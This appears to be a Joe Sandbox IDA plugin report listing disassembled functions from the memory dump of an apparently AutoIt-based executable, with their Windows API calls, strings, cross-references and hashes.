MMC, xrefs: 00B55723
1394, xrefs: 00B556E4
SAS, xrefs: 00B5570E
Fixed, xrefs: 00B5564E
SCSI, xrefs: 00B556CF
ATA, xrefs: 00B556DD
PhysicalDrive, xrefs: 00B555BB
Network, xrefs: 00B55647
USB, xrefs: 00B556F9
Unknown, xrefs: 00B55632, 00B556C8
SSD, xrefs: 00B5568F
SSA, xrefs: 00B556EB
RAID, xrefs: 00B55700
Virtual, xrefs: 00B5572A
SATA, xrefs: 00B55715
Fibre, xrefs: 00B556F2
iSCSI, xrefs: 00B55707
RAMDisk, xrefs: 00B55639
ATAPI, xrefs: 00B556D6
CDROM, xrefs: 00B55640
\\.\, xrefs: 00B55584
Removable, xrefs: 00B55655, 00B5565A
FileBackedVirtual, xrefs: 00B55731

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 352575474a86d91bf196482948c9b908f54b1c13ccc4db68a5f192cb0854b78b
Instruction ID: 761a9e4115cb29b1fe54935ed6611509acf03685bbbc466e7065023f1f44dfff
Opcode Fuzzy Hash: 352575474a86d91bf196482948c9b908f54b1c13ccc4db68a5f192cb0854b78b
Instruction Fuzzy Hash: 9061E03078CA45DBC734DF24CEA1A7877E0EF19353F2040E5E806AB261DA21AD0ADB51

Function 00B71A8F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00B71BC4
GetDesktopWindow.USER32 ref: 00B71BD9
GetWindowRect.USER32(00000000), ref: 00B71BE0
GetWindowLongW.USER32(?,000000F0), ref: 00B71C35
DestroyWindow.USER32(?), ref: 00B71C55
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00B71C89
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B71CA7
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B71CB9
SendMessageW.USER32(00000000,00000421,?,?), ref: 00B71CCE
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00B71CE1
IsWindowVisible.USER32(00000000), ref: 00B71D3D
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00B71D58
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00B71D6C
GetWindowRect.USER32(00000000,?), ref: 00B71D84
MonitorFromPoint.USER32(?,?,00000002), ref: 00B71DAA
GetMonitorInfoW.USER32(00000000,?), ref: 00B71DC4
CopyRect.USER32(?,?), ref: 00B71DDB
SendMessageW.USER32(00000000,00000412,00000000), ref: 00B71E46

Strings

0, xrefs: 00B71B6F
tooltips_class32, xrefs: 00B71C82
(, xrefs: 00B71DB7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: b14b1170eacb6f318965fc6a5631b74e51db0cf8ad86643fab65999107087274
Instruction ID: f52cc4339f3288fddbb048b1ac9a19ca77596a486f9651e9d063f55e2a11d88f
Opcode Fuzzy Hash: b14b1170eacb6f318965fc6a5631b74e51db0cf8ad86643fab65999107087274
Instruction Fuzzy Hash: BBB1AF71604341AFD714DF68C984B6ABBE5FF84350F00895CF9AD9B2A1CB31E945CBA2

Function 00B70CDD Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B70D81
_wcslen.LIBCMT ref: 00B70DBB
_wcslen.LIBCMT ref: 00B70E25
_wcslen.LIBCMT ref: 00B70E8D
_wcslen.LIBCMT ref: 00B70F11
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00B70F61
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B70FA0

Part of subcall function 00AFFD52: _wcslen.LIBCMT ref: 00AFFD5D

Part of subcall function 00B42B8C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B42BA5
Part of subcall function 00B42B8C: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B42BD7

Strings

SELECTCLEAR, xrefs: 00B70FC9
GETSUBITEMCOUNT, xrefs: 00B70E20, 00B70E3B
GETITEMCOUNT, xrefs: 00B70DB2, 00B70DD3
SELECT, xrefs: 00B70FE4
SELECTINVERT, xrefs: 00B7101A
GETSELECTEDCOUNT, xrefs: 00B70F0C, 00B70F27
GETSELECTED, xrefs: 00B7107D
VIEWCHANGE, xrefs: 00B71111
FINDITEM, xrefs: 00B710C3
GETTEXT, xrefs: 00B70E88, 00B70EA3
SELECTALL, xrefs: 00B70FB1
DESELECT, xrefs: 00B71038
ISSELECTED, xrefs: 00B70F79

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: f5399c52fb2900c62120cc3fe525b00acb23e7e0f45daa17235d567cb8ea21b3
Instruction ID: 0561694a2d5663fb97fc898600c6d48763e9b99a8fe7982eb9e29125d75e383d
Opcode Fuzzy Hash: f5399c52fb2900c62120cc3fe525b00acb23e7e0f45daa17235d567cb8ea21b3
Instruction Fuzzy Hash: 1EE1C1326183419FC714EF28C99186AB3E1FF84314B1489ADF8AA9B7A1DB30ED45CB51

Function 00AE2521 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00AE25F8
GetSystemMetrics.USER32(00000007), ref: 00AE2600
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00AE262B
GetSystemMetrics.USER32(00000008), ref: 00AE2633
GetSystemMetrics.USER32(00000004), ref: 00AE2658
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00AE2675
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00AE2685
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00AE26B8
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00AE26CC
GetClientRect.USER32(00000000,000000FF), ref: 00AE26EA
GetStockObject.GDI32(00000011), ref: 00AE2706
SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE2711

Part of subcall function 00AE19CD: GetCursorPos.USER32(?), ref: 00AE19E1
Part of subcall function 00AE19CD: ScreenToClient.USER32(00000000,?), ref: 00AE19FE
Part of subcall function 00AE19CD: GetAsyncKeyState.USER32(00000001), ref: 00AE1A23
Part of subcall function 00AE19CD: GetAsyncKeyState.USER32(00000002), ref: 00AE1A3D

SetTimer.USER32(00000000,00000000,00000028,00AE199C), ref: 00AE2738

Strings

AutoIt v3 GUI, xrefs: 00AE26B0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 3cf703903654060ecf51b704ba572d7f40091c5742aaf0b3499b446eca654ca6
Instruction ID: eb3f8f647f38cb9a8f11ae7ade9cd35589793f1a91d3d780923977bd9b7928c7
Opcode Fuzzy Hash: 3cf703903654060ecf51b704ba572d7f40091c5742aaf0b3499b446eca654ca6
Instruction Fuzzy Hash: 67B17C31A002099FDB14DFA8DD85BAE7BF5FF48714F104269FA5AAB290DB74E940CB50

Function 00B416D7 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B41A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B41A60
Part of subcall function 00B41A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A6C
Part of subcall function 00B41A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A7B
Part of subcall function 00B41A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A82
Part of subcall function 00B41A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B41A99

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B41741
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B41775
GetLengthSid.ADVAPI32(?), ref: 00B4178C
GetAce.ADVAPI32(?,00000000,?), ref: 00B417C6
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B417E2
GetLengthSid.ADVAPI32(?), ref: 00B417F9
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B41801
HeapAlloc.KERNEL32(00000000), ref: 00B41808
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B41829
CopySid.ADVAPI32(00000000), ref: 00B41830
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B4185F
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B41881
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B41893
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B418BA
HeapFree.KERNEL32(00000000), ref: 00B418C1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B418CA
HeapFree.KERNEL32(00000000), ref: 00B418D1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B418DA
HeapFree.KERNEL32(00000000), ref: 00B418E1
GetProcessHeap.KERNEL32(00000000,?), ref: 00B418ED
HeapFree.KERNEL32(00000000), ref: 00B418F4

Part of subcall function 00B41ADF: GetProcessHeap.KERNEL32(00000008,00B414FD,?,00000000,?,00B414FD,?), ref: 00B41AED
Part of subcall function 00B41ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B414FD,?), ref: 00B41AF4
Part of subcall function 00B41ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B414FD,?), ref: 00B41B03

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 0a214e2abc302a1daea9da441b59203a8c4d2d0a6e9c018cc85bf0d5484b2d5f
Instruction ID: 46a941122bbbedfe97b987142cc16f242437e5e627506e36190593c2b37498f7
Opcode Fuzzy Hash: 0a214e2abc302a1daea9da441b59203a8c4d2d0a6e9c018cc85bf0d5484b2d5f
Instruction Fuzzy Hash: 7B714AB2D00209ABDF10DFA9DC44FAEBBB9FF04390F144665E919A7190DB319A85DB60

Function 00B6CE17 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6CF1D
RegCreateKeyExW.ADVAPI32(?,?,00000000,00B7DCD0,00000000,?,00000000,?,?), ref: 00B6CFA4
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00B6D004
_wcslen.LIBCMT ref: 00B6D054
_wcslen.LIBCMT ref: 00B6D0CF
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00B6D112
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00B6D221
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00B6D2AD
RegCloseKey.ADVAPI32(?), ref: 00B6D2E1
RegCloseKey.ADVAPI32(00000000), ref: 00B6D2EE
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00B6D3C0

Strings

REG_MULTI_SZ, xrefs: 00B6D155
REG_SZ, xrefs: 00B6D0A4
REG_BINARY, xrefs: 00B6D373
REG_QWORD, xrefs: 00B6D323
REG_DWORD, xrefs: 00B6D264
REG_EXPAND_SZ, xrefs: 00B6D02D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 7cbd70df40e574f6662d9713a4f207a304cf1a1df0ec8b5d806ef9341752199f
Instruction ID: 46e8a9a5fddd1bb6efef745acb8a40ed39497bbc61ccf47c0b15cc3295dfd3c8
Opcode Fuzzy Hash: 7cbd70df40e574f6662d9713a4f207a304cf1a1df0ec8b5d806ef9341752199f
Instruction Fuzzy Hash: 32127975A042419FCB14DF15C991A2ABBF5FF88714F04889CF98A9B3A2CB35ED45CB81

Function 00B713BA Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B71462
_wcslen.LIBCMT ref: 00B7149D
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B714F0
_wcslen.LIBCMT ref: 00B71526
_wcslen.LIBCMT ref: 00B715A2
_wcslen.LIBCMT ref: 00B7161D

Part of subcall function 00AFFD52: _wcslen.LIBCMT ref: 00AFFD5D

Part of subcall function 00B43535: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B43547

Strings

GETSELECTED, xrefs: 00B716EA
GETTEXT, xrefs: 00B71733
GETTOTALCOUNT, xrefs: 00B7148E, 00B714B3
GETITEMCOUNT, xrefs: 00B716BA
ISCHECKED, xrefs: 00B7177D
UNCHECK, xrefs: 00B717DA
CHECK, xrefs: 00B71521, 00B7153C
EXPAND, xrefs: 00B71694
COLLAPSE, xrefs: 00B7159D, 00B715B8
SELECT, xrefs: 00B717AD
EXISTS, xrefs: 00B71618, 00B71633

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 43af1d0bc654a05e0acb2ff4cb3d12df6f9f46ea4af6ea85b1b1be0c94d06317
Instruction ID: 6cf663e3aed73135380025098363b4dde1b26ff7088f8aab460ee5fa6019aa40
Opcode Fuzzy Hash: 43af1d0bc654a05e0acb2ff4cb3d12df6f9f46ea4af6ea85b1b1be0c94d06317
Instruction Fuzzy Hash: C7E18E726083418FC714DF2DC59086AB7E2FF94714B14899CF8AA9B7A1DB30ED45CBA1

Function 00B6D3F8 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6C10E,?,?), ref: 00B6D415
_wcslen.LIBCMT ref: 00B6D451
_wcslen.LIBCMT ref: 00B6D4C8
_wcslen.LIBCMT ref: 00B6D4FE
_wcslen.LIBCMT ref: 00B6D559
_wcslen.LIBCMT ref: 00B6D58F
_wcslen.LIBCMT ref: 00B6D5DF

Strings

HKEY_LOCAL_MACHINE, xrefs: 00B6D4C2, 00B6D4C7
HKEY_CURRENT_CONFIG, xrefs: 00B6D5D9, 00B6D5DE
HKLM, xrefs: 00B6D4F8, 00B6D4FD
HKEY_CURRENT_USER, xrefs: 00B6D61D
HKCU, xrefs: 00B6D62E
HKU, xrefs: 00B6D650
HKEY_CLASSES_ROOT, xrefs: 00B6D553, 00B6D558
HKEY_USERS, xrefs: 00B6D63F
HKCR, xrefs: 00B6D589, 00B6D58E
HKCC, xrefs: 00B6D60C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: d4d47f740ebfaffe765c50e2d49a75018702c64a6b49c090f9aae6710e9d4069
Instruction ID: ec7dd8b2f330dc4d2182835263e6af1d66928cfd7fffe91c5b433098b96dab10
Opcode Fuzzy Hash: d4d47f740ebfaffe765c50e2d49a75018702c64a6b49c090f9aae6710e9d4069
Instruction Fuzzy Hash: 3371DF72F0016A8BCB209E7CCE505BB33E1EF71758B2501A8FC569B694EB39DD4487A0

Function 00B78D97 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B78DB5
_wcslen.LIBCMT ref: 00B78DC9
_wcslen.LIBCMT ref: 00B78DEC
_wcslen.LIBCMT ref: 00B78E0F
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00B78E4D
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00B76691), ref: 00B78EA9
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B78EE2
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00B78F25
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B78F5C
FreeLibrary.KERNEL32(?), ref: 00B78F68
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00B78F78
DestroyIcon.USER32(?,?,?,?,?,00B76691), ref: 00B78F87
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00B78FA4
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00B78FB0

Strings

.dll, xrefs: 00B78E06
.icl, xrefs: 00B78DC3
.exe, xrefs: 00B78DE3

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: bc9c5a8f67058547acd0de3b8bb7369dbe8338da1af9e49834ea04222701594c
Instruction ID: 9c9162dcedf5f5e7219e81e806aa1c5db70988ea28b0a3d04b2fea420ef4956c
Opcode Fuzzy Hash: bc9c5a8f67058547acd0de3b8bb7369dbe8338da1af9e49834ea04222701594c
Instruction Fuzzy Hash: 5661CF71940215BAEB14DF64CC49BBE7BA8EF08B10F108556F929EA1D1DF74A990CBA0

Function 00B548BE Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00B5493D
_wcslen.LIBCMT ref: 00B54948
_wcslen.LIBCMT ref: 00B5499F
_wcslen.LIBCMT ref: 00B549DD
GetDriveTypeW.KERNEL32(?), ref: 00B54A1B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B54A63
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B54A9E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B54ACC

Strings

open , xrefs: 00B54A2A
closed, xrefs: 00B5494D, 00B54972, 00B5498B, 00B549C3, 00B549DC
close, xrefs: 00B54943, 00B5495D
set cd door , xrefs: 00B54A6D
open, xrefs: 00B54999, 00B5499E
type cdaudio alias cd wait, xrefs: 00B54A46
close cd wait, xrefs: 00B54AB7
wait, xrefs: 00B54A89

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 766ab7cabe24ba724c4a10a589cfdded90ae15732c5c6e575b0613ed8dce06e5
Instruction ID: 32eaaa624ebe2501f5a4db4bf2408eaec6f998b30a64a4afa4fd4b129d946969
Opcode Fuzzy Hash: 766ab7cabe24ba724c4a10a589cfdded90ae15732c5c6e575b0613ed8dce06e5
Instruction Fuzzy Hash: BA7102326082019FC710EF34C981A6BB7E4EF95768F0049ADF89697261EB31DD89CB91

Function 00B46382 Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00B46395
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00B463A7
SetWindowTextW.USER32(?,?), ref: 00B463BE
GetDlgItem.USER32(?,000003EA), ref: 00B463D3
SetWindowTextW.USER32(00000000,?), ref: 00B463D9
GetDlgItem.USER32(?,000003E9), ref: 00B463E9
SetWindowTextW.USER32(00000000,?), ref: 00B463EF
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00B46410
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00B4642A
GetWindowRect.USER32(?,?), ref: 00B46433
_wcslen.LIBCMT ref: 00B4649A
SetWindowTextW.USER32(?,?), ref: 00B464D6
GetDesktopWindow.USER32 ref: 00B464DC
GetWindowRect.USER32(00000000), ref: 00B464E3
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00B4653A
GetClientRect.USER32(?,?), ref: 00B46547
PostMessageW.USER32(?,00000005,00000000,?), ref: 00B4656C
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00B46596

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 2383821017066db1ca3f72fb3fa4fc26197115f8a357632fa55a232aa1d2cfad
Instruction ID: ba3a01fe17781e08d6de45be95c76acfd5bfd02dcb07b682e4bef8ed72de2e2b
